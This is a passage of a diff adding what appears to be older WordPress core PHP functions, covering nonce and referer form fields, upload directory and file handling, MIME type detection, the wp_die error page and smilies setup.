+	// If siteurl is not set to autoload, check it specifically
+	if ( !isset( $alloptions['siteurl'] ) )
+		$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
+	else
+		$installed = $alloptions['siteurl'];
+	$wpdb->suppress_errors( $suppress );
+
+	$installed = !empty( $installed );
+	wp_cache_set( 'is_blog_installed', $installed );
+
+	return $installed;
+}
+
+/**
+ * Retrieve URL with nonce added to URL query.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param string $actionurl URL to add nonce action
+ * @param string $action Optional. Nonce action name
+ * @return string URL with nonce action added.
+ */
+function wp_nonce_url( $actionurl, $action = -1 ) {
+	$actionurl = str_replace( '&amp;', '&', $actionurl );
+	return esc_html( add_query_arg( '_wpnonce', wp_create_nonce( $action ), $actionurl ) );
+}
+
+/**
+ * Retrieve or display nonce hidden field for forms.
+ *
+ * The nonce field is used to validate that the contents of the form came from
+ * the location on the current site and not somewhere else. The nonce does not
+ * offer absolute protection, but should protect against most cases. It is very
+ * important to use nonce field in forms.
+ *
+ * If you set $echo to true and set $referer to true, then you will need to
+ * retrieve the {@link wp_referer_field() wp referer field}. If you have the
+ * $referer set to true and are echoing the nonce field, it will also echo the
+ * referer field.
+ *
+ * The $action and $name are optional, but if you want to have better security,
+ * it is strongly suggested to set those two parameters. It is easier to just
+ * call the function without any parameters, because validation of the nonce
+ * doesn't require any parameters, but since crackers know what the default is
+ * it won't be difficult for them to find a way around your nonce and cause
+ * damage.
+ *
+ * The input name will be whatever $name value you gave. The input value will be
+ * the nonce creation value.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param string $action Optional. Action name.
+ * @param string $name Optional. Nonce name.
+ * @param bool $referer Optional, default true. Whether to set the referer field for validation.
+ * @param bool $echo Optional, default true. Whether to display or return hidden form field.
+ * @return string Nonce field.
+ */
+function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
+	$name = esc_attr( $name );
+	$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
+	if ( $echo )
+		echo $nonce_field;
+
+	if ( $referer )
+		wp_referer_field( $echo, 'previous' );
+
+	return $nonce_field;
+}
+
+/**
+ * Retrieve or display referer hidden field for forms.
+ *
+ * The referer link is the current Request URI from the server super global. The
+ * input name is '_wp_http_referer', in case you wanted to check manually.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param bool $echo Whether to echo or return the referer field.
+ * @return string Referer field.
+ */
+function wp_referer_field( $echo = true) {
+	$ref = esc_attr( $_SERVER['REQUEST_URI'] );
+	$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. $ref . '" />';
+
+	if ( $echo )
+		echo $referer_field;
+	return $referer_field;
+}
+
+/**
+ * Retrieve or display original referer hidden field for forms.
+ *
+ * The input name is '_wp_original_http_referer' and will be either the same
+ * value of {@link wp_referer_field()}, if that was posted already or it will
+ * be the current page, if it doesn't exist.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param bool $echo Whether to echo the original http referer
+ * @param string $jump_back_to Optional, default is 'current'. Can be 'previous' or page you want to jump back to.
+ * @return string Original referer field.
+ */
+function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
+	$jump_back_to = ( 'previous' == $jump_back_to ) ? wp_get_referer() : $_SERVER['REQUEST_URI'];
+	$ref = ( wp_get_original_referer() ) ? wp_get_original_referer() : $jump_back_to;
+	$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( stripslashes( $ref ) ) . '" />';
+	if ( $echo )
+		echo $orig_referer_field;
+	return $orig_referer_field;
+}
+
+/**
+ * Retrieve referer from '_wp_http_referer', HTTP referer, or current page respectively.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @return string|bool False on failure. Referer URL on success.
+ */
+function wp_get_referer() {
+	$ref = '';
+	if ( ! empty( $_REQUEST['_wp_http_referer'] ) )
+		$ref = $_REQUEST['_wp_http_referer'];
+	else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )
+		$ref = $_SERVER['HTTP_REFERER'];
+
+	if ( $ref !== $_SERVER['REQUEST_URI'] )
+		return $ref;
+	return false;
+}
+
+/**
+ * Retrieve original referer that was posted, if it exists.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @return string|bool False if no original referer or original referer if set.
+ */
+function wp_get_original_referer() {
+	if ( !empty( $_REQUEST['_wp_original_http_referer'] ) )
+		return $_REQUEST['_wp_original_http_referer'];
+	return false;
+}
+
+/**
+ * Recursive directory creation based on full path.
+ *
+ * Will attempt to set permissions on folders.
+ *
+ * @since 2.0.1
+ *
+ * @param string $target Full path to attempt to create.
+ * @return bool Whether the path was created or not. True if path already exists.
+ */
+function wp_mkdir_p( $target ) {
+	// from php.net/mkdir user contributed notes
+	$target = str_replace( '//', '/', $target );
+	if ( file_exists( $target ) )
+		return @is_dir( $target );
+
+	// Attempting to create the directory may clutter up our display.
+	if ( @mkdir( $target ) ) {
+		$stat = @stat( dirname( $target ) );
+		$dir_perms = $stat['mode'] & 0007777;  // Get the permission bits.
+		@chmod( $target, $dir_perms );
+		return true;
+	} elseif ( is_dir( dirname( $target ) ) ) {
+			return false;
+	}
+
+	// If the above failed, attempt to create the parent node, then try again.
+	if ( ( $target != '/' ) && ( wp_mkdir_p( dirname( $target ) ) ) )
+		return wp_mkdir_p( $target );
+
+	return false;
+}
+
+/**
+ * Test if a give filesystem path is absolute ('/foo/bar', 'c:\windows').
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path
+ * @return bool True if path is absolute, false is not absolute.
+ */
+function path_is_absolute( $path ) {
+	// this is definitive if true but fails if $path does not exist or contains a symbolic link
+	if ( realpath($path) == $path )
+		return true;
+
+	if ( strlen($path) == 0 || $path{0} == '.' )
+		return false;
+
+	// windows allows absolute paths like this
+	if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
+		return true;
+
+	// a path starting with / or \ is absolute; anything else is relative
+	return (bool) preg_match('#^[/\\\\]#', $path);
+}
+
+/**
+ * Join two filesystem paths together (e.g. 'give me $path relative to $base').
+ *
+ * If the $path is absolute, then it the full path is returned.
+ *
+ * @since 2.5.0
+ *
+ * @param string $base
+ * @param string $path
+ * @return string The path with the base or absolute path.
+ */
+function path_join( $base, $path ) {
+	if ( path_is_absolute($path) )
+		return $path;
+
+	return rtrim($base, '/') . '/' . ltrim($path, '/');
+}
+
+/**
+ * Get an array containing the current upload directory's path and url.
+ *
+ * Checks the 'upload_path' option, which should be from the web root folder,
+ * and if it isn't empty it will be used. If it is empty, then the path will be
+ * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
+ * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
+ *
+ * The upload URL path is set either by the 'upload_url_path' option or by using
+ * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
+ *
+ * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
+ * the administration settings panel), then the time will be used. The format
+ * will be year first and then month.
+ *
+ * If the path couldn't be created, then an error will be returned with the key
+ * 'error' containing the error message. The error suggests that the parent
+ * directory is not writable by the server.
+ *
+ * On success, the returned array will have many indices:
+ * 'path' - base directory and sub directory or full path to upload directory.
+ * 'url' - base url and sub directory or absolute URL to upload directory.
+ * 'subdir' - sub directory if uploads use year/month folders option is on.
+ * 'basedir' - path without subdir.
+ * 'baseurl' - URL path without subdir.
+ * 'error' - set to false.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'upload_dir' on returned array.
+ *
+ * @param string $time Optional. Time formatted in 'yyyy/mm'.
+ * @return array See above for description.
+ */
+function wp_upload_dir( $time = null ) {
+	$siteurl = get_option( 'siteurl' );
+	$upload_path = get_option( 'upload_path' );
+	$upload_path = trim($upload_path);
+	if ( empty($upload_path) )
+		$dir = WP_CONTENT_DIR . '/uploads';
+	else
+		$dir = $upload_path;
+
+	// $dir is absolute, $path is (maybe) relative to ABSPATH
+	$dir = path_join( ABSPATH, $dir );
+
+	if ( !$url = get_option( 'upload_url_path' ) ) {
+		if ( empty($upload_path) or ( $upload_path == $dir ) )
+			$url = WP_CONTENT_URL . '/uploads';
+		else
+			$url = trailingslashit( $siteurl ) . $upload_path;
+	}
+
+	if ( defined('UPLOADS') ) {
+		$dir = ABSPATH . UPLOADS;
+		$url = trailingslashit( $siteurl ) . UPLOADS;
+	}
+
+	$bdir = $dir;
+	$burl = $url;
+
+	$subdir = '';
+	if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
+		// Generate the yearly and monthly dirs
+		if ( !$time )
+			$time = current_time( 'mysql' );
+		$y = substr( $time, 0, 4 );
+		$m = substr( $time, 5, 2 );
+		$subdir = "/$y/$m";
+	}
+
+	$dir .= $subdir;
+	$url .= $subdir;
+
+	$uploads = apply_filters( 'upload_dir', array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $bdir, 'baseurl' => $burl, 'error' => false ) );
+
+	// Make sure we have an uploads dir
+	if ( ! wp_mkdir_p( $uploads['path'] ) ) {
+		$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $uploads['path'] );
+		return array( 'error' => $message );
+	}
+
+	return $uploads;
+}
+
+/**
+ * Get a filename that is sanitized and unique for the given directory.
+ *
+ * If the filename is not unique, then a number will be added to the filename
+ * before the extension, and will continue adding numbers until the filename is
+ * unique.
+ *
+ * The callback must accept two parameters, the first one is the directory and
+ * the second is the filename. The callback must be a function.
+ *
+ * @since 2.5
+ *
+ * @param string $dir
+ * @param string $filename
+ * @param string $unique_filename_callback Function name, must be a function.
+ * @return string New filename, if given wasn't unique.
+ */
+function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
+	// sanitize the file name before we begin processing
+	$filename = sanitize_file_name($filename);
+
+	// separate the filename into a name and extension
+	$info = pathinfo($filename);
+	$ext = !empty($info['extension']) ? $info['extension'] : '';
+	$name = basename($filename, ".{$ext}");
+
+	// edge case: if file is named '.ext', treat as an empty name
+	if( $name === ".$ext" )
+		$name = '';
+
+	// Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied.
+	if ( $unique_filename_callback && function_exists( $unique_filename_callback ) ) {
+		$filename = $unique_filename_callback( $dir, $name );
+	} else {
+		$number = '';
+
+		if ( !empty( $ext ) )
+			$ext = ".$ext";
+
+		while ( file_exists( $dir . "/$filename" ) ) {
+			if ( '' == "$number$ext" )
+				$filename = $filename . ++$number . $ext;
+			else
+				$filename = str_replace( "$number$ext", ++$number . $ext, $filename );
+		}
+	}
+
+	return $filename;
+}
+
+/**
+ * Create a file in the upload folder with given content.
+ *
+ * If there is an error, then the key 'error' will exist with the error message.
+ * If success, then the key 'file' will have the unique file path, the 'url' key
+ * will have the link to the new file. and the 'error' key will be set to false.
+ *
+ * This function will not move an uploaded file to the upload folder. It will
+ * create a new file with the content in $bits parameter. If you move the upload
+ * file, read the content of the uploaded file, and then you can give the
+ * filename and content to this function, which will add it to the upload
+ * folder.
+ *
+ * The permissions will be set on the new file automatically by this function.
+ *
+ * @since 2.0.0
+ *
+ * @param string $name
+ * @param null $deprecated Not used. Set to null.
+ * @param mixed $bits File content
+ * @param string $time Optional. Time formatted in 'yyyy/mm'.
+ * @return array
+ */
+function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
+	if ( empty( $name ) )
+		return array( 'error' => __( 'Empty filename' ) );
+
+	$wp_filetype = wp_check_filetype( $name );
+	if ( !$wp_filetype['ext'] )
+		return array( 'error' => __( 'Invalid file type' ) );
+
+	$upload = wp_upload_dir( $time );
+
+	if ( $upload['error'] !== false )
+		return $upload;
+
+	$filename = wp_unique_filename( $upload['path'], $name );
+
+	$new_file = $upload['path'] . "/$filename";
+	if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
+		$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), dirname( $new_file ) );
+		return array( 'error' => $message );
+	}
+
+	$ifp = @ fopen( $new_file, 'wb' );
+	if ( ! $ifp )
+		return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
+
+	@fwrite( $ifp, $bits );
+	fclose( $ifp );
+	// Set correct file permissions
+	$stat = @ stat( dirname( $new_file ) );
+	$perms = $stat['mode'] & 0007777;
+	$perms = $perms & 0000666;
+	@ chmod( $new_file, $perms );
+
+	// Compute the URL
+	$url = $upload['url'] . "/$filename";
+
+	return array( 'file' => $new_file, 'url' => $url, 'error' => false );
+}
+
+/**
+ * Retrieve the file type based on the extension name.
+ *
+ * @package WordPress
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'ext2type' hook on default supported types.
+ *
+ * @param string $ext The extension to search.
+ * @return string|null The file type, example: audio, video, document, spreadsheet, etc. Null if not found.
+ */
+function wp_ext2type( $ext ) {
+	$ext2type = apply_filters('ext2type', array(
+		'audio' => array('aac','ac3','aif','aiff','mp1','mp2','mp3','m3a','m4a','m4b','ogg','ram','wav','wma'),
+		'video' => array('asf','avi','divx','dv','mov','mpg','mpeg','mp4','mpv','ogm','qt','rm','vob','wmv', 'm4v'),
+		'document' => array('doc','docx','pages','odt','rtf','pdf'),
+		'spreadsheet' => array('xls','xlsx','numbers','ods'),
+		'interactive' => array('ppt','pptx','key','odp','swf'),
+		'text' => array('txt'),
+		'archive' => array('tar','bz2','gz','cab','dmg','rar','sea','sit','sqx','zip'),
+		'code' => array('css','html','php','js'),
+	));
+	foreach ( $ext2type as $type => $exts )
+		if ( in_array($ext, $exts) )
+			return $type;
+}
+
+/**
+ * Retrieve the file type from the file name.
+ *
+ * You can optionally define the mime array, if needed.
+ *
+ * @since 2.0.4
+ *
+ * @param string $filename File name or path.
+ * @param array $mimes Optional. Key is the file extension with value as the mime type.
+ * @return array Values with extension first and mime type.
+ */
+function wp_check_filetype( $filename, $mimes = null ) {
+	// Accepted MIME types are set here as PCRE unless provided.
+	$mimes = ( is_array( $mimes ) ) ? $mimes : apply_filters( 'upload_mimes', array(
+		'jpg|jpeg|jpe' => 'image/jpeg',
+		'gif' => 'image/gif',
+		'png' => 'image/png',
+		'bmp' => 'image/bmp',
+		'tif|tiff' => 'image/tiff',
+		'ico' => 'image/x-icon',
+		'asf|asx|wax|wmv|wmx' => 'video/asf',
+		'avi' => 'video/avi',
+		'divx' => 'video/divx',
+		'mov|qt' => 'video/quicktime',
+		'mpeg|mpg|mpe' => 'video/mpeg',
+		'txt|c|cc|h' => 'text/plain',
+		'rtx' => 'text/richtext',
+		'css' => 'text/css',
+		'htm|html' => 'text/html',
+		'mp3|m4a' => 'audio/mpeg',
+		'mp4|m4v' => 'video/mp4',
+		'ra|ram' => 'audio/x-realaudio',
+		'wav' => 'audio/wav',
+		'ogg' => 'audio/ogg',
+		'mid|midi' => 'audio/midi',
+		'wma' => 'audio/wma',
+		'rtf' => 'application/rtf',
+		'js' => 'application/javascript',
+		'pdf' => 'application/pdf',
+		'doc|docx' => 'application/msword',
+		'pot|pps|ppt|pptx' => 'application/vnd.ms-powerpoint',
+		'wri' => 'application/vnd.ms-write',
+		'xla|xls|xlsx|xlt|xlw' => 'application/vnd.ms-excel',
+		'mdb' => 'application/vnd.ms-access',
+		'mpp' => 'application/vnd.ms-project',
+		'swf' => 'application/x-shockwave-flash',
+		'class' => 'application/java',
+		'tar' => 'application/x-tar',
+		'zip' => 'application/zip',
+		'gz|gzip' => 'application/x-gzip',
+		'exe' => 'application/x-msdownload',
+		// openoffice formats
+		'odt' => 'application/vnd.oasis.opendocument.text',
+		'odp' => 'application/vnd.oasis.opendocument.presentation',
+		'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
+		'odg' => 'application/vnd.oasis.opendocument.graphics',
+		'odc' => 'application/vnd.oasis.opendocument.chart',
+		'odb' => 'application/vnd.oasis.opendocument.database',
+		'odf' => 'application/vnd.oasis.opendocument.formula',
+		)
+	);
+
+	$type = false;
+	$ext = false;
+
+	foreach ( $mimes as $ext_preg => $mime_match ) {
+		$ext_preg = '!\.(' . $ext_preg . ')$!i';
+		if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
+			$type = $mime_match;
+			$ext = $ext_matches[1];
+			break;
+		}
+	}
+
+	return compact( 'ext', 'type' );
+}
+
+/**
+ * Retrieve nonce action "Are you sure" message.
+ *
+ * The action is split by verb and noun. The action format is as follows:
+ * verb-action_extra. The verb is before the first dash and has the format of
+ * letters and no spaces and numbers. The noun is after the dash and before the
+ * underscore, if an underscore exists. The noun is also only letters.
+ *
+ * The filter will be called for any action, which is not defined by WordPress.
+ * You may use the filter for your plugin to explain nonce actions to the user,
+ * when they get the "Are you sure?" message. The filter is in the format of
+ * 'explain_nonce_$verb-$noun' with the $verb replaced by the found verb and the
+ * $noun replaced by the found noun. The two parameters that are given to the
+ * hook are the localized "Are you sure you want to do this?" message with the
+ * extra text (the text after the underscore).
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param string $action Nonce action.
+ * @return string Are you sure message.
+ */
+function wp_explain_nonce( $action ) {
+	if ( $action !== -1 && preg_match( '/([a-z]+)-([a-z]+)(_(.+))?/', $action, $matches ) ) {
+		$verb = $matches[1];
+		$noun = $matches[2];
+
+		$trans = array();
+		$trans['update']['attachment'] = array( __( 'Your attempt to edit this attachment: &#8220;%s&#8221; has failed.' ), 'get_the_title' );
+
+		$trans['add']['category']      = array( __( 'Your attempt to add this category has failed.' ), false );
+		$trans['delete']['category']   = array( __( 'Your attempt to delete this category: &#8220;%s&#8221; has failed.' ), 'get_cat_name' );
+		$trans['update']['category']   = array( __( 'Your attempt to edit this category: &#8220;%s&#8221; has failed.' ), 'get_cat_name' );
+
+		$trans['delete']['comment']    = array( __( 'Your attempt to delete this comment: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['unapprove']['comment'] = array( __( 'Your attempt to unapprove this comment: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['approve']['comment']   = array( __( 'Your attempt to approve this comment: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['update']['comment']    = array( __( 'Your attempt to edit this comment: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['bulk']['comments']     = array( __( 'Your attempt to bulk modify comments has failed.' ), false );
+		$trans['moderate']['comments'] = array( __( 'Your attempt to moderate comments has failed.' ), false );
+
+		$trans['add']['bookmark']      = array( __( 'Your attempt to add this link has failed.' ), false );
+		$trans['delete']['bookmark']   = array( __( 'Your attempt to delete this link: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['update']['bookmark']   = array( __( 'Your attempt to edit this link: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['bulk']['bookmarks']    = array( __( 'Your attempt to bulk modify links has failed.' ), false );
+
+		$trans['add']['page']          = array( __( 'Your attempt to add this page has failed.' ), false );
+		$trans['delete']['page']       = array( __( 'Your attempt to delete this page: &#8220;%s&#8221; has failed.' ), 'get_the_title' );
+		$trans['update']['page']       = array( __( 'Your attempt to edit this page: &#8220;%s&#8221; has failed.' ), 'get_the_title' );
+
+		$trans['edit']['plugin']       = array( __( 'Your attempt to edit this plugin file: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['activate']['plugin']   = array( __( 'Your attempt to activate this plugin: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['deactivate']['plugin'] = array( __( 'Your attempt to deactivate this plugin: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['upgrade']['plugin']    = array( __( 'Your attempt to upgrade this plugin: &#8220;%s&#8221; has failed.' ), 'use_id' );
+
+		$trans['add']['post']          = array( __( 'Your attempt to add this post has failed.' ), false );
+		$trans['delete']['post']       = array( __( 'Your attempt to delete this post: &#8220;%s&#8221; has failed.' ), 'get_the_title' );
+		$trans['update']['post']       = array( __( 'Your attempt to edit this post: &#8220;%s&#8221; has failed.' ), 'get_the_title' );
+
+		$trans['add']['user']          = array( __( 'Your attempt to add this user has failed.' ), false );
+		$trans['delete']['users']      = array( __( 'Your attempt to delete users has failed.' ), false );
+		$trans['bulk']['users']        = array( __( 'Your attempt to bulk modify users has failed.' ), false );
+		$trans['update']['user']       = array( __( 'Your attempt to edit this user: &#8220;%s&#8221; has failed.' ), 'get_the_author_meta', 'display_name' );
+		$trans['update']['profile']    = array( __( 'Your attempt to modify the profile for: &#8220;%s&#8221; has failed.' ), 'get_the_author_meta', 'display_name' );
+
+		$trans['update']['options']    = array( __( 'Your attempt to edit your settings has failed.' ), false );
+		$trans['update']['permalink']  = array( __( 'Your attempt to change your permalink structure to: %s has failed.' ), 'use_id' );
+		$trans['edit']['file']         = array( __( 'Your attempt to edit this file: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['edit']['theme']        = array( __( 'Your attempt to edit this theme file: &#8220;%s&#8221; has failed.' ), 'use_id' );
+		$trans['switch']['theme']      = array( __( 'Your attempt to switch to this theme: &#8220;%s&#8221; has failed.' ), 'use_id' );
+
+		$trans['log']['out']           = array( sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'sitename' ) ), false );
+
+		if ( isset( $trans[$verb][$noun] ) ) {
+			if ( !empty( $trans[$verb][$noun][1] ) ) {
+				$lookup = $trans[$verb][$noun][1];
+				if ( isset($trans[$verb][$noun][2]) )
+					$lookup_value = $trans[$verb][$noun][2];
+				$object = $matches[4];
+				if ( 'use_id' != $lookup ) {
+					if ( isset( $lookup_value ) )
+						$object = call_user_func( $lookup, $lookup_value, $object );
+					else
+						$object = call_user_func( $lookup, $object );
+				}
+				return sprintf( $trans[$verb][$noun][0], esc_html($object) );
+			} else {
+				return $trans[$verb][$noun][0];
+			}
+		}
+
+		return apply_filters( 'explain_nonce_' . $verb . '-' . $noun, __( 'Are you sure you want to do this?' ), $matches[4] );
+	} else {
+		return apply_filters( 'explain_nonce_' . $action, __( 'Are you sure you want to do this?' ) );
+	}
+}
+
+/**
+ * Display "Are You Sure" message to confirm the action being taken.
+ *
+ * If the action has the nonce explain message, then it will be displayed along
+ * with the "Are you sure?" message.
+ *
+ * @package WordPress
+ * @subpackage Security
+ * @since 2.0.4
+ *
+ * @param string $action The nonce action.
+ */
+function wp_nonce_ays( $action ) {
+	$title = __( 'WordPress Failure Notice' );
+	$html = esc_html( wp_explain_nonce( $action ) );
+	if ( wp_get_referer() )
+		$html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>";
+	elseif ( 'log-out' == $action )
+		$html .= "</p><p>" . sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url() );
+
+	wp_die( $html, $title);
+}
+
+/**
+ * Kill WordPress execution and display HTML message with error message.
+ *
+ * Call this function complements the die() PHP function. The difference is that
+ * HTML will be displayed to the user. It is recommended to use this function
+ * only, when the execution should not continue any further. It is not
+ * recommended to call this function very often and try to handle as many errors
+ * as possible siliently.
+ *
+ * @since 2.0.4
+ *
+ * @param string $message Error message.
+ * @param string $title Error title.
+ * @param string|array $args Optional arguements to control behaviour.
+ */
+function wp_die( $message, $title = '', $args = array() ) {
+	global $wp_locale;
+
+	$defaults = array( 'response' => 500 );
+	$r = wp_parse_args($args, $defaults);
+
+	$have_gettext = function_exists('__');
+
+	if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
+		if ( empty( $title ) ) {
+			$error_data = $message->get_error_data();
+			if ( is_array( $error_data ) && isset( $error_data['title'] ) )
+				$title = $error_data['title'];
+		}
+		$errors = $message->get_error_messages();
+		switch ( count( $errors ) ) :
+		case 0 :
+			$message = '';
+			break;
+		case 1 :
+			$message = "<p>{$errors[0]}</p>";
+			break;
+		default :
+			$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
+			break;
+		endswitch;
+	} elseif ( is_string( $message ) ) {
+		$message = "<p>$message</p>";
+	}
+
+	if ( isset( $r['back_link'] ) && $r['back_link'] ) {
+		$back_text = $have_gettext? __('&laquo; Back') : '&laquo; Back';
+		$message .= "\n<p><a href='javascript:history.back()'>$back_text</p>";
+	}
+
+	if ( defined( 'WP_SITEURL' ) && '' != WP_SITEURL )
+		$admin_dir = WP_SITEURL . '/wp-admin/';
+	elseif ( function_exists( 'get_bloginfo' ) && '' != get_bloginfo( 'wpurl' ) )
+		$admin_dir = get_bloginfo( 'wpurl' ) . '/wp-admin/';
+	elseif ( strpos( $_SERVER['PHP_SELF'], 'wp-admin' ) !== false )
+		$admin_dir = '';
+	else
+		$admin_dir = 'wp-admin/';
+
+	if ( !function_exists( 'did_action' ) || !did_action( 'admin_head' ) ) :
+	if( !headers_sent() ){
+		status_header( $r['response'] );
+		nocache_headers();
+		header( 'Content-Type: text/html; charset=utf-8' );
+	}
+
+	if ( empty($title) ) {
+		$title = $have_gettext? __('WordPress &rsaquo; Error') : 'WordPress &rsaquo; Error';
+	}
+
+	$text_direction = 'ltr';
+	if ( isset($r['text_direction']) && $r['text_direction'] == 'rtl' ) $text_direction = 'rtl';
+	if ( ( $wp_locale ) && ( 'rtl' == $wp_locale->text_direction ) ) $text_direction = 'rtl';
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) ) language_attributes(); ?>>
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php echo $title ?></title>
+	<link rel="stylesheet" href="<?php echo $admin_dir; ?>css/install.css" type="text/css" />
+<?php
+if ( 'rtl' == $text_direction ) : ?>
+	<link rel="stylesheet" href="<?php echo $admin_dir; ?>css/install-rtl.css" type="text/css" />
+<?php endif; ?>
+</head>
+<body id="error-page">
+<?php endif; ?>
+	<?php echo $message; ?>
+</body>
+<!-- Ticket #8942, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono -->
+</html>
+<?php
+	die();
+}
+
+/**
+ * Retrieve the WordPress home page URL.
+ *
+ * If the constant named 'WP_HOME' exists, then it willl be used and returned by
+ * the function. This can be used to counter the redirection on your local
+ * development environment.
+ *
+ * @access private
+ * @package WordPress
+ * @since 2.2.0
+ *
+ * @param string $url URL for the home location
+ * @return string Homepage location.
+ */
+function _config_wp_home( $url = '' ) {
+	if ( defined( 'WP_HOME' ) )
+		return WP_HOME;
+	return $url;
+}
+
+/**
+ * Retrieve the WordPress site URL.
+ *
+ * If the constant named 'WP_SITEURL' is defined, then the value in that
+ * constant will always be returned. This can be used for debugging a site on
+ * your localhost while not having to change the database to your URL.
+ *
+ * @access private
+ * @package WordPress
+ * @since 2.2.0
+ *
+ * @param string $url URL to set the WordPress site location.
+ * @return string The WordPress Site URL
+ */
+function _config_wp_siteurl( $url = '' ) {
+	if ( defined( 'WP_SITEURL' ) )
+		return WP_SITEURL;
+	return $url;
+}
+
+/**
+ * Set the localized direction for MCE plugin.
+ *
+ * Will only set the direction to 'rtl', if the WordPress locale has the text
+ * direction set to 'rtl'.
+ *
+ * Fills in the 'directionality', 'plugins', and 'theme_advanced_button1' array
+ * keys. These keys are then returned in the $input array.
+ *
+ * @access private
+ * @package WordPress
+ * @subpackage MCE
+ * @since 2.1.0
+ *
+ * @param array $input MCE plugin array.
+ * @return array Direction set for 'rtl', if needed by locale.
+ */
+function _mce_set_direction( $input ) {
+	global $wp_locale;
+
+	if ( 'rtl' == $wp_locale->text_direction ) {
+		$input['directionality'] = 'rtl';
+		$input['plugins'] .= ',directionality';
+		$input['theme_advanced_buttons1'] .= ',ltr';
+	}
+
+	return $input;
+}
+
+
+/**
+ * Convert smiley code to the icon graphic file equivalent.
+ *
+ * You can turn off smilies, by going to the write setting screen and unchecking
+ * the box, or by setting 'use_smilies' option to false or removing the option.
+ *
+ * Plugins may override the default smiley list by setting the $wpsmiliestrans
+ * to an array, with the key the code the blogger types in and the value the
+ * image file.
+ *
+ * The $wp_smiliessearch global is for the regular expression and is set each
+ * time the function is called.
+ *
+ * The full list of smilies can be found in the function and won't be listed in
+ * the description. Probably should create a Codex page for it, so that it is
+ * available.
+ *
+ * @global array $wpsmiliestrans
+ * @global array $wp_smiliessearch
+ * @since 2.2.0
+ */
+function smilies_init() {
+	global $wpsmiliestrans, $wp_smiliessearch;
+
+	// don't bother setting up smilies if they are disabled
+	if ( !get_option( 'use_smilies' ) )
+		return;
+
+	if ( !isset( $wpsmiliestrans ) ) {
+		$wpsmiliestrans = array(
+		':mrgreen:' => 'icon_mrgreen.gif',
+		':neutral:' => 'icon_neutral.gif',
+		':twisted:' => 'icon_twisted.gif',
+		  ':arrow:' => 'icon_arrow.gif',
+		  ':shock:' => 'icon_eek.gif',
